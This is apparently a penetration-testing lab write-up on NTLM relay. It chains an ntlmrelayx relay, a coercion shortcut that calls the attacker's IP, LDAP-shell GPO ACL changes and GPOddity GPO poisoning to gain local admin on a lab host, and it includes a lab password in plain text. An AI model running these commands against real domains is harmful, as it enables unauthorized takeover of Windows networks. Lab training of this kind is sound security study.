Skip to content

NTLM relay

What's NTLM Relay?

NTLM Relay is a man-in-the-middle attack where an attacker captures an authentication attempt (Challenge/Response) from a victim and "relays" it to another service on the network. Instead of trying to crack the password, the attacker uses the victim's active "greeting" to authenticate as them in real-time.

The Two Scenarios:

Depending on your goal and the environment's configuration, you can handle captured NTLM traffic in two ways:

  • Offline Cracking (Capture): Using tools like Responder, you capture the NTLM hash and take it to your own machine (using Hashcat/John) to try to find the cleartext password. This is slow and fails if the password is complex.

  • Session Hijacking (Relay): Using ntlmrelayx.py, you immediately pass the authentication to a target (like a DC or a Database). If successful, you "hijack" the session and get a direct shell or administrative access (like the LDAP shell on port 11000) without ever knowing the password.

Privilege Escalation: GPO Abuse (GPOddity + NTLM Relay)

  1. Scenario Overview

    Target: Gain Local Administrator privileges on dcorp-ci.

    Vector: The user devopsadmin has WriteDACL permissions over the DevOps Policy GPO. An automation on dcorp-ci executes any .lnk file placed in \dcorp-ci\AI as the devopsadmin user.

    Tools: ntlmrelayx.py, GPOddity, PowerView.

  2. Phase 1: Coercion & NTLM Relay (LDAP Shell)

The goal is to hijack devopsadmin's identity to modify the GPO's security descriptor. A. Start the Relay Listener (WSL) Bash

Run in WSL (Attacker IP: 172.16.100.44)

sudo ntlmrelayx.py -t ldaps://172.16.2.1 -wh 172.16.100.44 --http-port '80,8080' -i --no-smb-server

B. Create the Bait (.lnk) in Windows

Create a new shortcut on your student VM and move it to \dcorp-ci\AI. Use the following command as the target:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Invoke-WebRequest -Uri 'http://172.16.100.44' -UseDefaultCredentials"

C. Modify GPO ACLs (LDAP Shell)

Once the relay is successful, connect to the interactive LDAP shell: Bash

nc 127.0.0.1 11000

In the shell, grant your user full control over the GPO: Bash

# write_gpo_dacl <target_user> <GPO_GUID>
write_gpo_dacl student544 {0BF8D01C-1F62-4BDC-958C-57140B67D147}

  1. Phase 2: GPO Poisoning with GPOddity

With write permissions secured, we redirect the GPO download path to our controlled share. A. Execute GPOddity

This prepares a malicious Group Policy Template (GPT) containing a scheduled task that adds your user to the local admins group.

sudo python3 gpoddity.py --gpo-id '0BF8D01C-1F62-4BDC-958C-57140B67D147' --domain 'dollarcorp.moneycorp.local' --username 'student544' --password 'm8zcvKNWHPSwyAus' --command 'net localgroup administrators student544 /add' --rogue-smbserver-ip '172.16.100.44' --rogue-smbserver-share 'std544-gp' --dc-ip '172.16.2.1' --smb-mode none

B. Manual SMB Share Setup (Windows)

Since --smb-mode none was used, serve the modified GPT files from the Windows host:

# Create folder and share it
net share std544-gp=C:\AD\Tools\std544-gp /grant:Everyone,Full

# Grant NTFS permissions to allow the target machine to read the files
icacls "C:\AD\Tools\std544-gp" /grant Everyone:F /T
  1. Phase 3: Verification & Post-Exploitation

GPOs typically refresh every 2 minutes in the lab environment. A. Verify AD Attribute Redirection

Check if the gPCFileSysPath attribute now points to your attacker IP:

Get-DomainGPO -Identity 'DevOps Policy' | Select-Object displayname, gpcfilesyspath
# Expected Output: \\172.16.100.44\std544-gp

B. Verify Group Membership

If winrs returns Access Denied, check the local group members directly to see if the command has executed:

Get-NetLocalGroupMember -ComputerName dcorp-ci -GroupName Administrators

C. Final Access

Once your user appears in the Administrators list, confirm full access:

# Test administrative file system access
ls \\dcorp-ci\C$

# Remote execution
winrs -r:dcorp-ci cmd /c "set computername && whoami"